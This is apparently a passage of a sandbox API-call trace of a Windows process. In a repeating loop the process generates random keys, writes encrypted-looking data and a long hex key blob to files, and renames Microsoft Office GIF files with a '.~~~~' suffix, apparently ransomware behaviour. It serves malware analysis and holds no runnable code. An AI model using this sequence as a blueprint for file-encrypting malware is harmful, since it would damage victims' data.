	[0128.578] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb616c690, dwHighDateTime=0x1d60e1e)) 
	[0128.578] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0128.578] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0128.578] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0128.578] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a95e0
	[0128.579] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0128.579] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a95e0 | out: hHeap=0x300000) returned 1
	[0128.579] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0128.579] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0128.579] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3bbff0
	[0128.579] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0128.579] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0128.579] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bbff0 | out: hHeap=0x300000) returned 1
	[0128.579] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0128.579] GetLastError () returned 0x0
	[0128.579] GetLastError () returned 0x0
	[0128.579] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0128.579] GetLastError () returned 0x0
	[0128.579] GetLastError () returned 0x0
	[0128.580] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffffefe, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.581] WriteFile (in: hFile=0x120, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x102, lpOverlapped=0x0) returned 1
	[0128.582] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0128.582] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.582] WriteFile (in: hFile=0x120, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0128.582] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0128.582] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0128.582] CloseHandle (hObject=0x120) returned 1
	[0128.583] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3bbff0
	[0128.583] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21399_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21399_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21399_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21399_.gif.~~~~")) returned 1
	[0128.584] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bbff0 | out: hHeap=0x300000) returned 1
	[0128.584] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0128.584] GetLastError () returned 0x0
	[0128.585] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0128.586] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0128.586] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0128.586] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0128.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0128.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0128.586] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24857590139) returned 1
	[0128.586] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb61927f0, dwHighDateTime=0x1d60e1e)) 
	[0128.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0128.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0128.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0128.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9618
	[0128.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0128.586] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9618 | out: hHeap=0x300000) returned 1
	[0128.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0128.586] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0128.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3bc338
	[0128.586] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0128.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0128.586] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bc338 | out: hHeap=0x300000) returned 1
	[0128.586] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0128.587] GetLastError () returned 0x0
	[0128.587] GetLastError () returned 0x0
	[0128.587] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0128.587] GetLastError () returned 0x0
	[0128.587] GetLastError () returned 0x0
	[0128.588] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffff17, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.588] WriteFile (in: hFile=0x120, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xe9, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0xe9, lpOverlapped=0x0) returned 1
	[0128.589] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0128.589] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.589] WriteFile (in: hFile=0x120, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0128.590] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0128.590] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0128.590] CloseHandle (hObject=0x120) returned 1
	[0128.590] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3bc338
	[0128.590] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21400_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21400_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21400_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21400_.gif.~~~~")) returned 1
	[0128.591] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bc338 | out: hHeap=0x300000) returned 1
	[0128.591] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0128.591] GetLastError () returned 0x0
	[0128.591] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0128.592] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0128.592] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0128.593] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0128.593] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0128.593] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0128.593] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24858280486) returned 1
	[0128.593] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb61927f0, dwHighDateTime=0x1d60e1e)) 
	[0128.593] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0128.593] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0128.593] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0128.593] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9650
	[0128.593] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0128.593] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9650 | out: hHeap=0x300000) returned 1
	[0128.593] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0128.593] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0128.593] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3bc488
	[0128.593] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0128.593] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0128.593] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bc488 | out: hHeap=0x300000) returned 1
	[0128.593] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0128.594] GetLastError () returned 0x0
	[0128.594] GetLastError () returned 0x0
	[0128.594] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0128.594] GetLastError () returned 0x0
	[0128.594] GetLastError () returned 0x0
	[0128.595] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffffee1, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.595] WriteFile (in: hFile=0x120, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x11f, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x11f, lpOverlapped=0x0) returned 1
	[0128.597] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0128.597] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.597] WriteFile (in: hFile=0x120, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0128.597] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0128.597] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0128.597] CloseHandle (hObject=0x120) returned 1
	[0128.597] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3bc488
	[0128.597] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21421_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21421_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21421_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21421_.gif.~~~~")) returned 1
	[0128.598] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bc488 | out: hHeap=0x300000) returned 1
	[0128.617] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0128.617] GetLastError () returned 0x0
	[0128.634] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0128.635] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0128.635] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0128.636] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0128.636] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0128.636] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0128.636] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24862600428) returned 1
	[0128.636] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb6204c10, dwHighDateTime=0x1d60e1e)) 
	[0128.636] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0128.636] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0128.636] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0128.636] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2a01dd8
	[0128.636] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0128.636] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a01dd8 | out: hHeap=0x300000) returned 1
	[0128.636] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0128.637] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0128.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3aa508
	[0128.637] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0128.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0128.637] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa508 | out: hHeap=0x300000) returned 1
	[0128.637] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0128.637] GetLastError () returned 0x0
	[0128.637] GetLastError () returned 0x0
	[0128.637] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0128.637] GetLastError () returned 0x0
	[0128.638] GetLastError () returned 0x0
	[0128.641] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffff47, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.641] WriteFile (in: hFile=0x13c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xb9, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0xb9, lpOverlapped=0x0) returned 1
	[0128.644] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0128.644] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.644] WriteFile (in: hFile=0x13c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0128.644] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0128.644] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0128.644] CloseHandle (hObject=0x13c) returned 1
	[0128.644] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa508
	[0128.645] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21433_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21433_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21433_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21433_.gif.~~~~")) returned 1
	[0128.647] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa508 | out: hHeap=0x300000) returned 1
	[0128.647] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0128.647] GetLastError () returned 0x0
	[0128.648] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0128.649] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0128.649] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0128.649] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0128.649] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0128.650] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0128.650] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24863970128) returned 1
	[0128.650] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb622ad70, dwHighDateTime=0x1d60e1e)) 
	[0128.650] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0128.650] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0128.650] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0128.650] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac9e0
	[0128.650] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0128.650] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac9e0 | out: hHeap=0x300000) returned 1
	[0128.650] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0128.650] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0128.650] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28062a8
	[0128.650] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0128.650] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0128.650] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28062a8 | out: hHeap=0x300000) returned 1
	[0128.650] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0128.651] GetLastError () returned 0x0
	[0128.651] GetLastError () returned 0x0
	[0128.651] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0128.651] GetLastError () returned 0x0
	[0128.651] GetLastError () returned 0x0
	[0128.653] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffff4f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.653] WriteFile (in: hFile=0x13c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xb1, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0xb1, lpOverlapped=0x0) returned 1
	[0128.655] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0128.655] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.655] WriteFile (in: hFile=0x13c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0128.655] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0128.655] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0128.655] CloseHandle (hObject=0x13c) returned 1
	[0128.655] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28062a8
	[0128.655] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21434_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21434_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21434_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21434_.gif.~~~~")) returned 1
	[0128.660] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28062a8 | out: hHeap=0x300000) returned 1
	[0128.660] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0128.660] GetLastError () returned 0x0
	[0128.661] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0128.662] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0128.662] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
